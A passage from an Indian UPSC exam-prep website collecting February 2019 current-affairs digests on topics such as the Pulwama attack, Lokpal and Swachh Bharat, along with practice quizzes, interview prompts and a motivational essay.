areas; Installation of standalone off-grid solar water pumps to fulfil irrigation needs of farmers not connected to grid; and Solarisation of existing grid-connected agriculture pumps to make farmers independent of grid supply and also enable them to sell surplus solar power generated to DISCOM and get extra income. Swachh Shakti 2019: Swachh Shakti-2019 is a national event which aims to bring in to focus the leadership role played by rural women in Swachh Bharat Mission. Women Sarpanches and Panches from all over the country will be attending the event. Around 15,000 women are expected to participate in this year’s Swachh Shakti event aimed at empowering the women. Swachh Shakti is an example of how at the grass root level, rural women champions are acting as a change agent to mobilize the community and lead from the front women taking initiatives for a Swachh Bharat. The movement is a part of ongoing activities under the aegis of the Swachh Bharat Mission. e-AUSHADHI portal for Online Licensing System of AYUSH Medicine: Ministry of State (IC) for AYUSH launched the e-AUSHADHI portal, for online licensing of Ayurveda, Siddha, Unani and Homoeopathy drugs and related matters. Portal is intended for increased transparency, improved information management facility, improved data usability and increased accountability. Timelines will be fixed for processing of application through this portal with SMS and e-mail status updates at each step of the process This portal will not only aid the licensing authority , manufactures and consumers, as it will provide real time information of the licensed manufactures and their products, cancelled and spurious drugs, contact details of the concerned authority for specific grievances. Quotes: Prime Minister of India, Shri Narendra Modi On energy security My vision for India’s energy future has four pillars: Energy access, Energy efficiency, Energy sustainability &Energy security. On nutrition If we succeed in delivering the nutrition coverage to every mother, every child many lives will be saved. Vice President of India, Shri M. Venkaiah Naidu On sustainable development Sustainable development is inclusive development. India’s traditional practices reflected a sustainable lifestyle On health and modern life style Instant food means constant disease Yoga and meditation would not only help in improving physical fitness, but also ensure mental equilibrium, which is the need of the hour in view of the increased stress faced by the youngsters.

Daily Current Affairs IAS | UPSC Prelims and Mains Exam – 16th February 2019

IAS UPSC Prelims and Mains Exam – 16th February 2019 Archives (PRELIMS + MAINS FOCUS) Aftermath of the Pulwama terror attack Part of: GS Prelims and Mains II and III – India and Pakistan relations; Terrorism and Security issues In news: India officially cancelled the Most Favoured Nation (MFN) status of Pakistan and warned of more measures in response to its support for terrorist groups targeting India. India hiked import duty on Pakistani goods to 200 per cent. (India used to import fresh fruits, cement, petroleum products and mineral ore among others) Slapping an import duty of 200 per cent effectively means almost banning the imports from Pakistan. Do you know? India granted the MFN status to Pakistan way back in 1996, but the neighbouring country had not reciprocated. Under the MFN pact, a WTO member country is obliged to treat the other trading nation in a non-discriminatory manner, especially with regard to customs duty and other levies. India imported goods worth $488.5 million in 2017-18 and exported goods worth $1.92 billion. India mainly exports raw cotton, cotton yarn, chemicals, plastics, manmade yarn and dyes to Pakistan. Despite Pulwama attack, no change in China’s stance on Masood Azhar. Chinese foreign ministry made it clear that it would not support India’s efforts to persuade the 1267 Committee of the UN Security Council to list Azhar as a global terrorist. Miscellaneous: Vande Bharat Express or ‘Train 18’ launched In news: Vande Bharat Express or ‘Train 18’, India’s first semi-high speed train, was flagged off by Prime Minister Narendra Modi at the New Delhi railway station. It can attain a top speed of 160 km per hour. However, its top speed would be restricted to 130 km per hour. It is a self-propelled train set and doesn’t have a locomotive. Pic: https://d39gegkjaqduz9.cloudfront.net/TH/2019/02/16/CNI/Chennai/TH/5_09/ae39f23e_1b40c3b4_101_mr.jpg Person in news: Dr. Helen Hobbs Why in news? Hobbs, who won the 2016 Breakthrough Prize in Life Sciences, discovered a mutation in a gene called PCSK9, which particularly protects African-Americans against heart disease. The PCSK9 discoveries led to the development of PCSK9 inhibitors, said to be the most effective drugs to lower cholesterol — or low density lipoprotein (LDL) — since statins. Statins are a class of lipid-lowering medications. They reduce cardiovascular disease and mortality in those who are at high risk of cardiovascular disease. Hobbs opted to look for rare genes that dramatically influenced cholesterol levels. Several years of her efforts led to the discovery of rare mutations in the PCSK9 gene. Antibiotic resistance genes in High Arctic region In news: We had read that a new study had found traces of antibiotic resistance genes in the High Arctic region, including the ‘superbug’ or the New Delhi metallo-beta-lactamase-1 protein (coded by blaNDM-1 gene), which was first detected in urban India in 2008. Researchers who took soil samples in 2013 from the Kongsfjorden region of Svalbard – a Norwegian archipelago in the Arctic Ocean – found “comparatively localised” levels of blaNDM-1, which poses no health threat. However, they say the “detection reinforces how rapidly AR (antibiotic resistance) can globalise”, the study states. (Indication of the globalisation of antimicrobial resistance) (MAINS FOCUS) INTERNATIONAL TOPIC:General studies 2 Bilateral, regional and global groupings and agreements involving India and/or affecting India’s interests India and the World  Saudi Arabia’s Vision 2030 and bilateral ties with India Context: In 2016, the Kingdom of Saudi Arabia gave itself a goal and a promise in the form of Vision 2030. Saudi Vision 2030 is a plan to reduce Saudi Arabia's dependence on oil, diversify its economy, and develop public service sectors such as health, education, infrastructure, recreation and tourism. Under Vision 2030, Saudi Arabia aims to – Focus more towards sustainable development. Focus on massive projects directed towards building a vibrant society, a thriving economy and an ambitious nation. Get ready for the Post-Oil Age by transforming/diversifying its economy. It aims to attract $427 billion in private investments over the next decade to diversify the economy and create 1.6 million new jobs through the National Industrial Development and Logistics Programme. Make Saudi Arabia a global innovation hub. Transform into an advanced knowledge-based economy built on innovation and entrepreneurship. Do you know? According to World Bank’s ‘Doing Business 2018’ report, Saudi Arabia has instituted the largest number of business reforms among countries in the Middle East and North Africa (MENA) region as of July 2017. Starting a business in the Kingdom now requires only one step and one day! India and Saudi Arabia Saudi Arabia sees India as an important partner in its pursuit for development and stability. Ties between both the countries trace their roots to the third millennium BC. Nearly 3 million Indians form the largest expatriate community in the Kingdom. India has also seen its Haj quota increase consecutively during the last two years. Bilateral trade potential India and Saudi Arabia have more opportunities today to tap into than ever before. Saudi Arabia and India can engage in a host of new areas such as information and communications technology (ICT), health care, defence, biotechnology, education and infrastructure among others. India is one of the top countries on the Kingdom’s preferred list with great potential for investment in organic and food processing industries. Energy partnership - Saudi Aramco to invest more in Indian companies and value chain from oil supply, marketing and refining to petrochemicals and lubricants. For instance, $44 billion integrated refinery and petrochemicals complex at Ratnagiri in Maharashtra, being jointly developed by Saudi Aramco, Abu Dhabi National Oil Company (ADNOC) and a consortium of Indian public sector units (PSUs). India and Saudi @ recent G20 summit – Both sides agreed to set up a high-level mechanism to boost concrete actions in terms of investment, technology and manufacturing across various sectors. Conclusion: Saudi Arabia and India have a historic opportunity to collaborate in shaping the future of Middle East and North Africa (MENA) and Asia regions. Combining their respective strengths will pave the way for endless possibilities and accomplishments for the benefit of both the regions. Connecting the dots: Saudi Arabia and India have a historic opportunity to collaborate in shaping the future of Middle East and North Africa (MENA) and Asia regions. Critically analyse. INTERNATIONAL/NATIONAL TOPIC:General studies 2 Bilateral, regional and global groupings and agreements involving India and/or affecting India’s interests India and the World  Government policies and interventions for development in various sectors and issues arising out of their design and implementation. How Swachh Bharat changed India and became a global inspiration? Context: Nigeria has an estimated population of 191million as of 2018. Located in Sub-Saharan Africa, it is a large country with tremendous natural and human resources. However, Nigeria faces a critical challenge in its Water, Sanitation and Hygiene (WASH) sector. National access to improved water supply was from 40 per cent in 1990 to 69 per cent in 2015. Access to piped water on premises declined from 32 per cent in 1990 to 7 per cent in 2015 in urban areas. The national access to basic sanitation stands at a low level of 33 per cent. Nigeria ranks second worst open defecating country in the world (after India). Experts are worried that Nigeria may overtake India as number one in open defecation. Schemes/policies adopted by Nigeria Country made several efforts towards improving access to sanitation. Adoption of the Community-Led Total Sanitation (CLTS) approach to scale up sanitation in rural areas. National and sub-national specific roadmaps were developed on lines of Millennium Development Goals (MDGs). It aims to eliminate open defecation in the country by 2025. A new programme, Partnership for Expanded Water Supply, Sanitation and Hygiene (PEWASH) was developed in 2016 to improve the situation and bring sector actors together. However, the operationalisation of the roadmaps across the country was slow and inconsistent. Nigeria inspired by Swachh Bharat Mission They both share similarities, which include a large population, decentralised government structure and WASH challenges. Nigeria had participated in Mahatma Gandhi International Sanitation Conference (MGISC) and was inspired by India’s sanitation story (Swachh Bharat Mission) which has drastically reduced practicing open defecation. The acceptance that a toilet is important and needs to be discussed, not just locally, but nationally, was a watershed moment in India’s journey to successfully ending open defecation. Nigeria also wanted an initiative that would create a mass movement, with every citizen effectively mobilised for action towards achieving the Sustainable Development Goals. Like India, Nigeria has been able to demonstrate a high-level political will for the WASH sector. On the lines of Swachh Bharat Mission, In November 2018, Nigeria President Muhammadu Buhari declared a state of emergency and launched a new National Action Plan for the sector. Nigeria proposed an 18-month emergency phase, five-year recovery phase and 13-year revitalisation strategy for the sector. It also proposed the establishment of a National WASH Fund to incentivise reform and infrastructure revitalisation. Do you know? India’s on-going Swachh Bharat Mission (SBM) has led to a reduction in the number of people practising open defecation. In the past four years, over 50 crore people have shunned the practice of open defecation. Rural India’s sanitation coverage has gone up from 39% in 2014, at the launch of the Swachh Bharat Mission, to over 93% today. India is on its way to becoming Open Defecation Free by 2019. Sustainable Development Goals (SDGs) 6.1 and 6.2 deals with water and sanitation respectively. Conclusion: India has now become the global leader of the war against open defecation. Several countries want to learn from India’s experience and implement similar programmes in their countries. SBM stands to inspire other countries and is a testimony to the global community that the SDG targets are achievable provided there is strong political resolve, the strategy is appropriate, resources are adequately deployed and the population is sufficiently mobilised. Following India’s example, Nigeria hopes to end the practice of open defecation and to become the next shining example to countries in the African region and across the world. Connecting the dots: The Swachcha Bharat mission is not only a cleanliness campaign but also a socio-economic movement. Elaborate. How far has the Swachh Bharat Mission (SBM) succeeded in addressing the open defecation in India? Critically examine. (TEST YOUR KNOWLEDGE) Model questions: (You can now post your answers in comment section) Note: Featured Comments and comments Up-voted by IASbaba are the “correct answers”. IASbaba App users – Team IASbaba will provide correct answers in comment section. Kindly refer to it and update your answers. Q.1) Svalbard was in news recently. Where is it located? Balkans Scandinavia Carpathian Mountains Baltic Region Q.2) Kongsfjorden region of Svalbard was in news for – Global Seed Vault was launched in 2018 ‘Superbug’ or the New Delhi metallo-beta-lactamase-1 protein (coded by blaNDM-1 gene) was detected recently Norway and Russia signed Svalbard Treaty to make the region visa-free zone Warmer winters due to climate change Q.3) PCSK9 inhibitors was in news recently. It is associated with - Effective drugs to lower cholesterol Innovative rice intensification China’s Chang’e 4 expedition Lunar Reconnaissance Orbiter Q.4) The indigenously-manufactured Train 18 has been named as – Vande Bharat Express Shrestha Bharat Express GatiMann Express Talgo Express Q.5) With regard to WTO and its functioning, consider the following statements: Most Favoured Nation (MFN) status to a country by another country ensures preferential treatment, lower tariffs and removal of other trade barriers between the two member countries. Dispute settlement process in WTO is rule based and transparent and ensures ‘compliance of verdict’ on member countries. Special Safeguard Mechanism (SSM) is a tool for protecting interest of farmers and poor from volatility of international trade in agricultural commodities. Which of the statements given above is/are correct? 2 only 3 only 1 and 2 only 1 and 3 only MUST READ  On the Silk Route trail The Hindu  Re-imagining Delhi Indian Express Rash U-turns, half-baked plans Indian Express J&K; and the AfPak hyphen Indian Express

Motivational Articles

Creative Guidance – What Matters – Inspirational Educative Articles

What Matters: I've never climbed in the Himalayas but I've read a lot about those who do. And it is there climbers encounter above twenty-five or twenty-six thousand feet a place known as the Death Zone. It is so named because at that altitude there is a variety of conditions that if not overcome will painfully kill you. Of course the most obvious one is the thin air. Even with supplemental oxygen the body won't perform with its usual efficiency. And because one's faculties are typically impaired there,  a climber is more exposed to falling, various forms of edema and other potentially fatal results. Weather is also likely more extreme and dangerous, causing many climbers to bivouac in places where survival is unlikely at best. A very small percentage of climbers ever experience the Death Zone of the highest mountains in the world and for good reason. It's just too dangerous. However, in life there are some reasons we might live in our own Death Zone of sorts. In fact, we can't avoid it. It's living knowing that at any moment our life on this earth could end. We could be gone or someone we love simply won't be around. Morbid? Creepy? A little out there perhaps? Yes, in some ways. But I have a good friend who is most likely going to die in the next few months, barring a miracle that many of us our are praying for. However, whatever happens it has made us all think more about whether we would be ready to face the same ourselves. What would we do if death were looking us in the eye all of a sudden? I think the answer gives us some essential things to think about doing NOW without living in some sort of dark, fearful place in the process.  Let me suggest a few. First, make the most of every moment you can. No, none of us can savor each second of every experience, but we can slow down and enjoy people and opportunities a bit more.  We can quit cramming so many things into our lives and running by people we love as though they are hardly there. We can stop and watch our kids and grand kids longer, spend a few more minutes with a spouse or friend and just enjoy little special moments of nature that occur every day all around us. Second, take inventory. Be brutally honest about how many things you're doing that really matter for the long-term versus those that are just because everyone's doing them. Yes, there's nothing wrong with leisure, goofing off now and then and simply having fun. But are we letting the temporary push aside the eternal and the things we think we should invest in for our gain steal time from the people we want to invest in because we love them?  Have we pushed the most important things and experiences into the I'll-do-them-someday-when-I-have time category? Third, say what you want to say now. I've often thought we should have everyone's funeral before they die if possible. That way people can say to another's face what they want to say about them and would likely say once they're gone. Well, in a sense and in the same way we would be wise to say what we want to say to people before one of us is gone. Do we need to forgive, tell them we love them or that we are proud of them, let go of some past hurts or remind them of how much they meant to us?  Do it now. “This article is a part of the creative endeavor of Inner Revolution and IASBABA.”

RSTV Video

RSTV IAS UPSC – Lokpal & Lokayuktas

Lokpal & Lokayuktas Archives TOPIC: General Studies 2 Functions and responsibilities of the Government; Separation of powers between various organs Government policies and interventions for development in various sectors and issues arising out of their design and implementation. Governance issues In News: The Supreme Court has fixed a February-end deadline for the search committee on Lokpal to recommend a panel of names for appointment of the country's first anti-graft ombudsman. The search committee is headed by former apex court judge Ranjana Prakash Desai. A bench headed by Chief Justice Ranjan Gogoi directed the Centre to provide the search committee requisite infrastructure and manpower to enable it to complete its work. The bench, also comprising justices L N Rao and S K Kaul, said it would hear the matter again on March 7. Attorney General K K Venugopal, appearing for the Centre, told the bench there were certain problems like lack of infrastructure and manpower due to which the search committee was not able to hold deliberations on the issue. The top court was also told that the selection panel took note that the search committee was to comprise a minimum of seven people, including chairperson, with experience in anti-corruption policy, public administration, vigilance, policy making, finance including insurance and banking, law and management, etc. Why in News: The court was hearing a contempt petition filed by NGO Common Cause against the government for delaying the appointment of the Lokpal. Appearing for the NGO, advocate Prashant Bhushan raised doubts on the working of the search committee. Bhushan complained that the working of the committee lacked transparency and the panel must make public the shortlisted names. The Law Amid repeated demands for such an ombudsman, many attempts were made at legislation, with Lokpal Bills introduced in 1971, 1977, 1985, 1989, 1996, 1998, 2001, 2005 and 2008, but none of these was passed. It was four decades after the introduction of the first Bill that the Lokpal and Lokayuktas Act was enacted in December 2013. This was the fallout of a public movement for a Jan Lokpal Bill, initiated by activist Anna Hazare and others such as Kiran Bedi and Arvind Kejriwal. Under pressure at a time when it was facing several allegations of corruption, the then UPA government brought the Bill and it was passed after several hurdles. Lokpal and Lokayuktas Act The main function of Lokpal and Lokayukta is – to address complaints of corruption, to make inquiries, investigations, and to conduct trials for the case on respective state and central government to help in curbing the corruption in the central and state government Pic: https://d39gegkjaqduz9.cloudfront.net/TH/2018/07/25/DEL/Delhi/TH/5_01/93afc6bd_2270486_101_mr.jpg The Lokpal and Lokayuktas Act, 2013 provides for establishing a body to be called the Lokpal and headed by a Chairperson: who is or has been a Chief Justice of India or is or has been a judge of the Supreme Court or an eminent person who fulfils eligibility criteria as specified Of its other members, not exceeding eight, 50% are to be judicial members, provided that not less than 50% of the members belong to the Scheduled Castess, Scheduled Tribes, OBCs, minorities, and women. For states, the Act says: “Every State shall establish a body to be known as the Lokayukta for the State, if not so established, constituted or appointed, by a law made by the State Legislature, to deal with complaints relating to corruption against certain public functionaries, within a period of one year from the date of commencement of this Act.” Lokpal will have An “Inquiry Wing, headed by the Director of Inquiry, for the purpose of conducting preliminary inquiry into any offence alleged to have been committed by a public servant punishable under the Prevention of Corruption Act, 1988. It will also have a “Prosecution Wing headed by the Director of Prosecution for the purpose of prosecution of public servants in relation to any complaint by the Lokpal under this Act”. These are to deal with complaints against public servants; the chairperson and members of the Lokpal too come under the definition of “public servant”. Jurisdiction of Lokpal The Lokpal Act covers a wide range of public servants — from the Prime Minister, ministers and MP, to groups A, B, C and D officers of the central government. When it comes to the Prime Minister: Lokpal shall inquire or cause an inquiry to be conducted into any matter involved in, or arising from, or connected with, any allegation of corruption made in a complaint” in respect of the Prime Minister. However, it does not allow a Lokpal inquiry if the allegation against the Prime Minister relates to international relations, external and internal security, public order, atomic energy and space. Also, complaints against the Prime Minister are not to be probed unless the full Lokpal bench considers the initiation of inquiry and at least 2/3rds of the members approve it. Such an inquiry against the Prime Minister (if conducted) is to be held in camera and if the Lokpal comes to the conclusion that the complaint deserves to be dismissed, the records of the inquiry are not to be published or made available to anyone. The next step: Once the search committee submits its recommendation for the Lokpal and its members, a selection committee will consider those names and forward them to the President for his consideration. The selection committee is chaired by the Prime Minister, and its members are the Lok Sabha Speaker, Leader of the Opposition in the Lok Sabha, the Chief Justice of India or a Judge of the Supreme Court nominated by him, and an eminent jurist as nominated by the President. Under the Lokpal and Lokayuktas Act, a Lokayukta is to be appointed in every state within one year of the passing of the Act, but several states are yet to appoint such an institution. Connecting the Dots: What is an ombudsman? Discuss its efficacy as an institutional measure to curb corruption.

Interview Discussion IAS UPSC: Think, Rethink and Perform (TRP)-Day 21

Interview Discussion: Think, Rethink and Perform; (TRP)- Day 21  ARCHIVES Set 1: Ask these questions to yourself; contemplate and come out with a concrete answer (not to be discussed on this forum). Invest at least 30 minutes on this set of questions. What does ‘sense of service’ mean to you? Is having a ‘sense of service’ essential for human beings? How much significance do you accord to the ‘sense of service’ as a virtue of a civil servant? Set 2: Analyse the following issue: Has there been a transformation in the way Supreme Court has been functioning? Has its mandate been undermined or are we witnessing an era of judicial adventurism? Try to evolve a balanced response.  

Daily Current Affairs IAS | UPSC Prelims and Mains Exam – 15th February 2019

IAS UPSC Prelims and Mains Exam – 15th February 2019 Archives (PRELIMS + MAINS FOCUS) Pulwama Attack: Part of: GS Mains III - Role of external state and nonstate actors in creating challenges to internal security. In news: The vehicle-bomb suicide attack on a CRPF convoy near Lethpora in Pulwama is the deadliest ever terror strike against security forces in three decades of militancy in Kashmir. Jaish-e-Mohammed, which works out of Pakistan under the leadership of Masood Azhar, has claimed responsibility for the attack. The Jaish has carried out other attacks in Kashmir in recent years, including the one at Uri and at Pathankot. Yet India’s efforts to have Azhar designated as a global terrorist have been repeatedly blocked by China, a staunch ally of Pakistan. Do you know? Jaish-e-Mohammed (JeM) militant outfit, with a cadre strength of zero in 2015 and six in 2016, is regrouping in Kashmir again and has carried more attacks on the security forces than the Lashkar-e-Taiba (LeT) and the Hizbul Mujahideen (HM) outfits in the past two months. According to the police data, the JeM has emerged as a close third in 2019 with its ranks swelling to over 60 local recruits compared to 100-plus recruits of the LeT and the Hizb each. Half of India’s waste-to-energy plants defunct Part of: GS Prelims and Mains III – Energy/Infrastructure;  solid waste management In news: Nearly half of India’s waste-to-energy (WTE) plants, meant to convert non-biodegradable waste, are defunct. Unsegregated rubbish makes plants inefficient. Since 1987, 15 WTE plants have been set up across the country. However, seven of these plants have shut down. The key reasons for closure are the plants’ inability to handle mixed solid waste and the high cost of electricity generated by them that renders it unattractive to power companies. Do you know? NITI Aayog, as part of the Swachh Bharat Mission, envisages 800 megawatt from WTE plants by 2018-19, which is 10 times the capacity of all the existing WTE plants put together. India signs defence pacts with Germany and Sweden Part of: GS Mains II and III – International Relations; Defence Ties; Security issues In news: India concluded defence cooperation and security protection agreements with Germany and Sweden. The agreement will enable both the countries to share classified information with each other. India and Sweden have had a memorandum of understanding on cooperation in the area of defence since 2009. Both Germany and Sweden are important suppliers of defence equipment to India and their companies are currently in the race for multi-billion tenders to supply submarines and fighter aircraft. Tussle for power: Delhi versus Centre Part of: GS Prelims and Mains – Indian Polity; Special powers to Delhi; Centre-State/UTs relations In news: Supreme Court verdict said the Centre has exclusive jurisdiction over public services in Delhi. In other words, the elected government does not have the right to transfer officers. The court also ruled that the anti-corruption bureau will be under the control of the Union government, while other aspects like appointing special public prosecutors, making electricity reforms and revision rates for agricultural land would lie in the hands of the Delhi government. Pic: https://d39gegkjaqduz9.cloudfront.net/TH/2019/02/15/DEL/Delhi/TH/5_07/2bf63331_2736279_101_mr.jpg Do you know? At the core of the tussle between the Union and Delhi governments is Article 239 AA of the Constitution, which gives Delhi the special character of a Union Territory with a Legislative Assembly that has a lieutenant governor as its administrative head. Last year, a five-judge Constitution bench of the Supreme Court led by Chief Justice Dipak Misra stated that the lieutenant governor’s powers in the National Capital were only limited to land, police and public order. Panel moots minimum wage of ₹375 per day Part of: GS Prelims and Mains III – Indian Economy and wage related issues In news: According to Expert Committee on Determining the Methodology for Fixation of the National Minimum Wage – Minimum wage for workers across the country be set at ₹375 per day, or ₹9,750 per month. It also recommended different national minimum wages for “different geographical regions of the country to suit the local realities and as per socio-economic and labour market contexts.” Do you know? While the Minimum Wages Act was enacted in 1948, it stipulates different wages according to occupation and State; there is no national minimum wage. The Code on Wages Bill, 2017, had proposed a national minimum wage and five regional minimum wages. State governments must be consulted before any national minimum wage is set by the Centre. Miscellaneous: Key facts for Prelims: According to the United Nations’ 2018 World Happiness Index, India ranks low, lower than the Occupied Palestinian Territories. According to the World Health Organisation, India is the most depressed country in the world. In 2015, India ranked fourth in the world in 2015--after Syria, Nigeria and Iraq--as having the highest social hostilities involving religion. India ranked 137 out of 163 countries in 2018 Global Peace Index. (MAINS FOCUS) NATIONAL TOPIC:General studies 2 and 4 Constitution, Issues related to Governance, judiciary Public/Civil service values and Ethics in Public administration: Status and problems; ethical concerns and dilemmas in government and private institutions; Strengthening of ethical and moral values in governance; Case Studies on above issues Demise of democracy, Rise of authoritarian tendencies Context: One among the major issues that confront the world today – ‘demise of democracy with authoritarian tendencies on the ascendant’. Steady weakening and undermining of institutional and knowledge structures pose a threat to the world. Do you know? Russia’s Vladimir Putin, China’s Xi Jinping and Turkey’s Recep Tayyip Erdogan are constantly projected as the faces of authoritarianism, but many democratic leaders reveal a similar authoritarian streak, which adds to democracy’s woes. However, it may be too early to predict the demise of democracy, but the reality is that it is not a good time for democratic institutions, or for those who see democracy as the answer to the world’s problems. Examples everywhere Several examples exist worldwide on how decisions today are handed down, rather than being the outcome of discussion and debate. Cases of deliberate sabotage of international institutions such as the World Bank Brexit, and the Brexit debate, in the U.K. and Europe is a good example of democracy going away from the usual or expected course The U.S. (leading democracy) is also setting a bad example today. Under President Donald Trump, arbitrary decision-making has replaced informed debate. (US decision to withdraw from the Intermediate-Range Nuclear Forces Treaty; Trump’s determination to build a wall to keep out Mexican immigrants; pulling out of Paris Climate Change Agreement etc.) Indian context: In a pluralistic, multi-party federal system, ignoring democratic conventions and the violation of well-entrenched behavioural patterns are causing irreversible damage to the polity. Some recent instances has raised strong questions about the intentions of those in authority – Rift between government and RBI and a perceived attempt to reduce its functional independence, to compel it to fall in line with the views of the government. Those in authority deem all information not acceptable to them as nothing but disinformation. For example, Central government recently rejecting the unemployment report by the well-regarded National Sample Survey Office without giving any valid reason for doing so. Doubts are also being raised about the validity of the government’s revised GDP estimates. Those opposed to the government, on the other hand, insist that the government suffers from a lack of probity. (Example – Bitter exchanges over the purchase of Rafale aircraft) Centre-State relations are under strain and might face the threat of still greater disruption. Interim Budget in an election year – The Interim Budget announced on the eve of the 2019 general election clearly breaches certain long-settled conventions, by including many substantial measures that ordinarily would form part of a regular Budget. The intention is plain, viz. build more support for the ruling dispensation in an election year. Alongside the decline in democratic conventions, another cause for concern is the virtual collapse of key institutions such as the Central Bureau of Investigation (CBI). Conclusion: Adherence to democratic norms is very crucial to maintain the independence of institutions and processes.  However, an impression exists today that attempts are being made to effect changes in the existing system. This should be a matter of concern for one and all. Connecting the dots: Examine the significance of maintaining the independence of democratic institutions and processes in a pluralistic, multi-party federal system like India. Do you think India’s democratic institutions got further strengthened post emergency? Analyse. ECONOMY/INFRASTRUCTURE TOPIC: General studies 2 and 3 Government policies and interventions for development in various sectors and issues arising out of their design and implementation. Infrastructure - Energy, Ports, Roads, Airports, Railways etc. Towards an efficient transport infrastructure Context: Transport infrastructure in India has grown at an unprecedented rate during nearly the last five years. Following are the major achievements: At the highest ever pace of construction, more than 35,000 km of national highways have been built in four and a half years. World-class expressways such as the Eastern Peripheral Expressway and Western Peripheral Expressway or engineering marvels such as the Dhola Sadiya Bridge and Chenani Nashri Tunnel were initiated. The Bharatmala Pariyojana – a unique scheme and unprecedented in terms of its size and design was launched (under Sagarmala) to develop ports which are considered as engines of growth. The development of 111 waterways for transport. The development of FASTags, promotion of alternative fuels such as ethanol, methanol, biofuels, and electricity, as well as innovative modes of travel such as seaplanes and aeroboats. Why do we need an efficient transport infrastructure? Efficient transport infrastructure: biggest enabler for growth It has been one of the foremost priorities of our government to build a transport infrastructure that is indigenous and cost-effective; link the remotest corners of the country; optimally integrates across various modes and is safe and environment friendly. A lack of good transport infrastructure has been a major hindrance for growth in the country in the past. Bharatmala and Sagarmala programmes are going to be game changers in this regard. They will improve both penetration and efficiency of transport movement on land and water, respectively. Efficient transport infrastructure will help connect places of production with markets more efficiently, help reduce logistics costs, create jobs and promote regionally balanced socioeconomic growth in the country. Important for providing better, seamless and more efficient access not just within the country, but also to our neighbouring countries. Priority areas in the development of effective transport infrastructure   Apart from building infrastructure, government priority should be to improve the overall convenience and on-road experience of the road users. This involves ensuring their safety, reducing congestion and pollution levels and providing roadside amenities. To prevent the colossal loss of lives in road accidents, priority should be given to rectifying accident black spots through engineering means, employing road safety features at the design stage for highways, conducting road safety audits, setting up driver training and post-trauma care centres as well as generating awareness. Apart from ring roads, expressways and bypasses, innovative solutions like seaplanes, ropeways, aeroboats and double-decker buses are being actively explored for adoption. These will bring down the traffic pressure and congestion on roads. To reduce pollution, alternative fuels like ethanol, methanol, biofuels and electricity are being promoted. Do you know? Recently a MoU was signed with Austrian ropeway company Doppelmayr for building ropeways through congested cities and hilly areas. Another MoU has been signed with Transport for London to help us overhaul our urban transport. The concept of ‘waste to wealth’ is being employed for generating alternative fuels. Already, the total number of seafarers employed in Indian and foreign ships has grown by 35% this year. (Thanks to Sagarmala) India’s growth story should no longer be impeded by a lack of efficient transport infrastructure, and the fruits of this growth should reach everyone in the remotest part of the country. Connecting the dots: Examine the potential of an efficient transport infrastructure in India. (TEST YOUR KNOWLEDGE) Model questions: (You can now post your answers in comment section) Note: Featured Comments and comments Up-voted by IASbaba are the “correct answers”. IASbaba App users – Team IASbaba will provide correct answers in comment section. Kindly refer to it and update your answers. Q.1) Consider the following statements: NITI Aayog envisaged 800 megawatt from waste-to-energy (WTE) plants by 2018-19. It will be part of the Swachh Bharat Mission. Which of the statements given above is/are correct? 1 only 2 only Both None Q.2) Which of the following statements regarding new Solid Waste Management Rules are correct? It has mandated the segregation of waste at the source. All hotels and restaurants will also be required to segregate biodegradable waste and set up a system of collection to ensure that such food waste is utilised for composting / biomethanation. Municipal authorities will levy user fees for collection, disposal and processing from bulk generators. Mandated Integration of rag pickers, waste pickers and kabadiwalas from the informal sector to the formal sector by the state government. Select the code from following: 1,2 and 3 2,3 and 4 1,3 and 4 All of the above Q.3) The treatment method recommended for the human anatomical waste generated from hospitals is – Autoclaving Chemical disinfection Incineration All the above Q.4) Consider the below statements: The World Happiness Report is an annual publication of the United Nations. As of March 2018, Norway was ranked the happiest country in the world. Which of the statements given above is/are correct? 1 only 2 only Both None MUST READ Is the unemployment crisis for real? The Hindu It’s a wage crisis Indian Express Interstate development and the federalism question Livemint Data opacity hurting policymaking on jobs growth Livemint

Daily Prelims CA Quiz

UPSC Quiz - 2019 : IAS Daily Current Affairs Quiz Day 173

UPSC Quiz - 2019 : IASbaba’s Daily Current Affairs Quiz Day 172 Archives Q.1) ‘Mysticellus franki’, which was recently in news is a Frog Butterfly Wader Seaweed Q.2) ‘Gross Domestic Knowledge Product (GDKP)’ is based on which of the following pillars? Country’s Knowledge Producing Matrix Country’s Knowledge User Matrix Cost of Individual Learning Select the correct code: 1 and 2 2 and 3 1 and 3 All of the above Q.3) ‘Nord Stream’ passes through Russia Germany Belarus Select the correct code: 1 and 2 1 and 3 All of the above None of the above Q.4) Consider the following statements with respect to ‘National Board for Wildlife (NBWL)’ It is a statutory Board constituted under the Wild Life (Protection) Act, 1972 It is chaired by the  Prime Minister Select the correct statements 1 Only 2 Only Both 1 and 2 Neither 1 nor 2 Q.5) Consider the following statements with respect to ‘Wildlife Crime Control Bureau’ It is mandated to establish a centralized wildlife crime data bank It is created under the Wild Life (Protection) Act, 1972 It assists and advises the Customs authorities in inspection of the consignments of flora & fauna as per the provisions of Wild Life Protection Act, CITES and EXIM Policy governing such an item Select the correct statements 1 and 2 2 and 3 1 and 3 All of the above To Download the Solution - Click here All the Best  IASbaba